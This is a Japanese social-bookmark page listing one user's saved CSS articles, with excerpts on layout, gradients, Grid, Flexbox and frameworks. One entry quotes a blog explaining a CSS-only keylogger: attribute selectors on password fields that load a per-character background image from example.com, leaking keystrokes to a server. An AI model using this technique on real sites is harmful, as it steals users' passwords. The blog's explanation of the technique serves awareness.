[B! CSS] dalのブックマーク

CSSのみでMasonryライクな段組レイアウト | かちびと.net

Result 過去はJSで何とか実装していたPinterestのようなMasonryレイアウトは、column-widthを使ったCSSのみで簡単に実装可能となりました。 column-countも併用すればカラム数の指定も出来ますね。 css article {/*CSSカラムのセッティング*/ column-width: 7em; column-gap: 1em; } section {/*各ボックスのスタイル*/ display: inline-block; margin: 0.25rem; padding: 1rem; width: 100%; background: #efefef; } html <article> <section> <p>Lorem ipsum dolor sit amet, consectetur.</p> </section> <section> <p>

dal 2018/05/15

css

リンク

CSSだけでも実装できる！ページ内アンカーやページ上部にアニメーションでスクロールさせるCSS, JavaScriptのまとめ

ページ内のアンカーやページの上部にアニメーションで、スムーズにスクロールさせるCSS、単体のJavaScript、Vue.jsやjQueryのプラグインを紹介します。現在では、CSSだけでも実装できるようになりました。IEは例のごとく非対応ですが、ポリフィルがあるので利用できます。イラスト: Girls Design Materials CSSでページをアニメーションでスクロールさせる JavaScript単体でページをアニメーションでスクロールさせるプラグインでページをアニメーションでスクロールさせる CSSでページをアニメーションでスクロールさせる CSSのプロパティ「Scroll-behavior」を使用すると、アニメーションを使用してスムーズにスクロールさせることができます。 Scroll-behaviorのサポートブラウザ scroll-behavior -MDN web

dal 2018/05/10

リンク

「出会えたことに感謝したいCSSベスト3」まとめ

スダ氏 @sudarexyz 出会えたことに感謝したいCSSベスト3 1位 display: flex; 2位 box-sizing: border-box; 3位 height: 100vh; 2018-04-07 21:44:27 スダ氏 @sudarexyz justify-content: space-between; align-it ems: center; この辺も入れたかったけど全部FlexBox関係になっちゃうし、ランキングは今着手している案件に強く依存してる。他の人のも見てみたい。 #出会えたことに感謝したいCSSベスト3 2018-04-07 22:02:07

dal 2018/04/09

css
ネタ

リンク

[CSS]「display: contents;」がすごい便利！ラッパーを使った実装が大きく変わるこれからのテクニック

例えばカードで、見出しが1行・3行、本文の量が多かったり少なかったりする場合、それぞれの高さを揃えるのは非常に難しく、かなりトリッキーな実装が必要でした。もしくは、JavaScriptを使用しなくてはできなかった実装です。こういったレイアウトをセマンティックなHTMLで実装できるようになるdisplay: contents;の基礎知識と使い方を紹介します。 How display: contents; Works 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。【更新】 2021/9/4: 現在の環境に合わせて、内容をアップデートしました。まずはおさらい、CSSのボックスモデル「display: contents;」を使用すると、どうなるか「display: contents;」について詳しく解説「display:

dal 2018/04/04

リンク

CSS Gradient – Generator, Maker, and Background

background: #2A7B9B; background: linear-gradient(90deg,rgba(42, 123, 155, 1) 0%, rgba(87, 199, 133, 1) 50%, rgba(237, 221, 83, 1) 100%); CSS Gradient is a Designstripe project that lets you create free gradient backgrounds for your website. Besides being a css gradient generator, the site is also chock-full of colorful content about gradients from technical articles to real life gradient examples

dal 2018/03/09

リンク

Grabient - CSS Gradient Generator & Palette Finder

Create beautiful gradients with Grabient's intuitive gradient generator. Export to CSS, SVG, and more.

dal 2018/03/08

リンク

CSSだけでキーロガーを作る（※追記あり） - R42日記

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

dal 2018/02/28

あたまいいなー

css
security

リンク

CSSで簡単に導入できるカスタマイズも可能なSVGバックグランドセット「SVG Backgrounds」

近年Webデザインに導入する機会が増えてきた「SVG」。拡大や縮小が容易にできる為、レスポンシブ性が求められるWebデザインに適応するフォーマットとして注目を集めています。今回ご紹介するのはそんなSVGを利用した背景を容易に生成できる「SVG Backgrounds」です。シームレスで拡大と縮小に適応したSVGバックグランドをCSSコードで入手することができます。詳しくは以下ベーシックな縞模様から、グラデーションやポリゴングラフィック、3Dチックな立体的な背景まで全部で30種類ものSVGバックグランドが用意されております。すべての背景でパターンのカスタマイズが可能で、指定色を変更したり、模様の濃度やグラデーションの割合を調節したり、テンプレートをそのまま利用するだけでなく、デザインに合わせて調整することができます。これだけ多彩な背景をSVGで利用できるのは嬉しいですね。背景によっては

dal 2018/02/20

リンク

CSSで変数（カスタムプロパティ）を使ってみよう

CSSで変数（カスタムプロパティ）を使ってみようプログラミングではおなじみの変数。SassやLESSといったCSSプリプロセッサーをお使いの方もよく使うものですね。この一度定義しておけば繰り返し利用できる便利な変数が、CSSでも使えるようになりました！今回はCSS変数（カスタムプロパティ）の使い方と注意点をまとめていきます！ CSS カスタムプロパティとは？公式では「カスケード変数のための CSS カスタムプロパティ（CSS custom properties for cascading variables）」としていますが、単に「CSS カスタムプロパティ」や「CSS 変数」などとも呼ばれています。変数は文字列や数値などを入れる箱のようなものです。例えば数学では「y = 3x」のような式があり、この y や x の中には自由に数字を当てはめられます。これが変数というものです。数学では数

dal 2018/02/13

リンク

最近のWebサイトで見かけるヘッダのアイデア・実装方法のまとめ

ランディングページやブログなど、最近のWebサイトで見かけるヘッダのアイデア・実装方法を紹介します。スクロールすると、ヘッダのイメージがズームしたり、フェードしたり、ヘッダの形が矩形でなかったり、ナビゲーションだけがスティッキーになったり、実用的なアイデアが満載です。各デモは「Run Pen」をクリックすると、動作します。まずは、スクロールすると、ヒーローイメージがズームするヘッダ。 HTMLは非常にシンプルで、CSSもJSもシンプルなので、コピペで簡単に利用できます。

dal 2018/02/02

リンク

最近主流になっている、CSS GridやFlexboxでコンテナ内の要素を揃えるテクニックのまとめ

CSSで要素を揃えることは楽しみであると同時に、挫折を経験することがあるかもしれません。CSSはすぐに進化し、新しい仕様はブラウザにどんどん実装されています。最近主流になっているCSSの整列テクニックは、これまでのものとはまったく異なります。CSS Grid, Flexboxなど、CSSレイアウトを考慮したよりモダンな方法を紹介します。 CSS Alignment Cheatsheet 記事: Demystifying CSS alignment 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。基礎知識: インラインとブロック要素が含まれるコンテナに指定して揃えるコンテナ内の要素に指定して揃える揃える方法の紹介の前に、まずは基礎知識から。基礎知識: インラインとブロック最初に重要なのは、揃えるのがインラインなのか、ブ

dal 2018/01/26

リンク

HTMLコーディングの人気のスタイルは？アンケート結果から分析するイマドキのウェブ制作事情（2018年） - ICS MEDIA

HTMLコーディングの人気のスタイルは？アンケート結果から分析するイマドキのウェブ制作事情（2018年）ウェブ業界の当たり前だと思っていることでも、同業他社の人には違う常識があるかもしれません。自分が業界多数の傾向と違うところはどこなのか・・・この連載ではアンケートデータから国内のウェブ業界の傾向を分析します。連載第3回目となる本記事ではウェブ業界の「HTMLコーディング」や「フロントエンド」を中心にアンケート結果を紹介します。アンケートは筆者のTwitterから実施していたものです。 CSSのレイアウトに使うのはFlexboxが多いウェブサイトの大枠レイアウトを組むときに一番使っているCSSの種類を質問しました。 727票の回答があり「float」が32%、「Flexbox」が51%、「Grid Layout」が11%、「table」が6%でした。 Flexboxが最多となっ

dal 2018/01/11

今ほぼ過去のfloatを消しながらflexboxだなあ

リンク

ごめんなさいね。 - Lopan.jp

Webデザインとかサイト制作について、知ってる事知らない事を展開するサイト。

dal 2018/01/10

css

リンク

5分で完璧に分かる！CSS Gridの基本的な使い方を解説

CSS Gridは、今まで使用してきたレイアウトの実装とは大きく異なります。flexboxはアイテムを一つの軸に沿って並べるので、floatの延長としてあまり難しくはないと思います。しかし、CSS Gridは軸が一つではなく、縦と横の二つの軸でレイアウトします。 CSS Gridの基本的な使い方を分かりやすく解説します。 Learn CSS Grid in 5 Minutes by Per Harald Borgen 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。 CSS Gridを始めよう！最初のグリッドレイアウト CSS Gridの列と行 CSS Gridのアイテムの配置 CSS Gridを始めよう！グリッドレイアウトはWebサイトの設計において基本であり、CSS Grid モジュールはグリッドを作成するための最も強力で

dal 2017/12/20

css
grid

リンク

box-shadowはもう古い？CSS新時代の「影の落とし方」

長い間Webデザイナーが愛してやまないものの1つに*「box-shadow（ボックスシャドウ）」*があります。 Photoshopのような特殊なソフトウェアを使わなくとも、コードだけで影を落とすことができるという点で、Webデザイナーの中で大変重宝されていたプロパティです。 box-shadowの歴史は長く、2005年時点でW3C内でbox-shadowの草案が発表されました。影を落とす時に、影の長さや角度、色や透明度まで指定することができるので、この技術が登場した当初は感動した方も多いのではないのでしょうか。しかしながら、box-shadowを使った影の落とし方は、登場から10年以上経過した現在、その使い所を考えていく必要があります。それはブラウザが様々なプロパティをサポートしたことが理由であり、影の落とし方を再考してみるのも大切です。そこで本稿では、CSS新時代の影の落とし方につい

dal 2017/11/22

css

リンク

[CSS]HTMLの潜在的な問題を見つける、少し高度なCSSのセレクタ -Linting HTML using CSS

HTMLは間違って記述されても、重大なエラーになることはあまりありません。そのため、validではないHTML、セマンティックではないHTML、アクセシブルではないHTMLのコードが、ページ内に紛れてしまうことは非常に簡単です。 HTMLの潜在的な問題を見つけることができる、少し高度なCSSのセレクタを紹介します。 Linting HTML using CSS 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。インラインのスタイルリンクのターゲットアクセシブルではない画像ドキュメントの言語指定不適切な文字セットアクセシブルではないビューポート属性ラベルのないフォーム要素空のインタラクティブな要素不必要、あるいは非推奨の属性インラインのスタイルこのセレクタは、インラインのスタイルが適用されているページ上のあらゆ

dal 2017/11/17

リンク

Flexboxを利用してよくあるレイアウトを実装したサンプル集 - NxWorld

一部ブラウザ（特にIE）で若干挙動が違ったりすることもあるものの、Flexboxを利用することで今までCSSだけでは難しかった見栄えが実装できたり、よりシンプルなHTML・CSSで実装できるレイアウトが増えました。そんなFlexboxを利用してサイト制作時によく出てくるレイアウトを実装したサンプルをいくつか紹介します。紹介するものは基本的にプレフィックスを省略しているので、必要があれば各自で追記してください。基本的に各実装に必要なFlexbox関連の最小限のコードのみ紹介していますが、サンプルによってはわざわざ初期値（flex-wrapやalign-it emsなど）を指定している場合があります。それらは挙動を把握しやすくするために記述されているものなので、不要であれば記述する必要はありません。表示確認のデモはPCでの閲覧推奨です。要素を両端に寄せる特にヘッダーやフッターで利用

dal 2017/11/17

flexbox
css

リンク

CSS Snippets - NxWorld

CSSで「〇〇したい」とか「これどうするんだっけ...」というときに使えるものや地味だけど覚えておくと便利だと思う簡易的なスニペットの一覧です。 August 16, 2018 追記「CSS Snippets #7」を追加しました。 November 08, 2017 追記「CSS Snippets #5」を追加しました。「CSS Snippets #6」を追加しました。 November 07, 2017 追記「CSS Snippets #3」を追加しました。「CSS Snippets #4」を追加しました。

dal 2017/11/08

css
snippets

リンク

[CSS]便利なのが登場！レイアウトやUIコンポーネント用のスタイルシートが簡単にまとめて利用できる -Tailwind CSS | コリス

既存のページに外部CSSを加えるだけで、最近のWebサイトやブログで見かけるさまざまなコンポーネントやエレメント、Flexboxベースの柔軟なレイアウトをカスタマイズできるスタイルをまとめたCSSのフレームワークを紹介します。 Flexboxを使ってみたい、天地の中央に配置したい、シャドウを加えたい、レスポンシブ対応のナビゲーションを備えたいなど、簡単に利用できます。デザインにも幅広く対応しているので、自分のオリジナルのデザインで利用できます。 Tailwind CSS Tailwind CSS -GitHub Tailwind CSSの特徴 Tailwind CSSの使い方 Tailwind CSSで用意されているスタイル Tailwind CSSの実装例 Tailwind CSSの特徴 Tailwind CSSはMITライセンスで、個人でも商用でも無料で利用できます。ボタン、フォー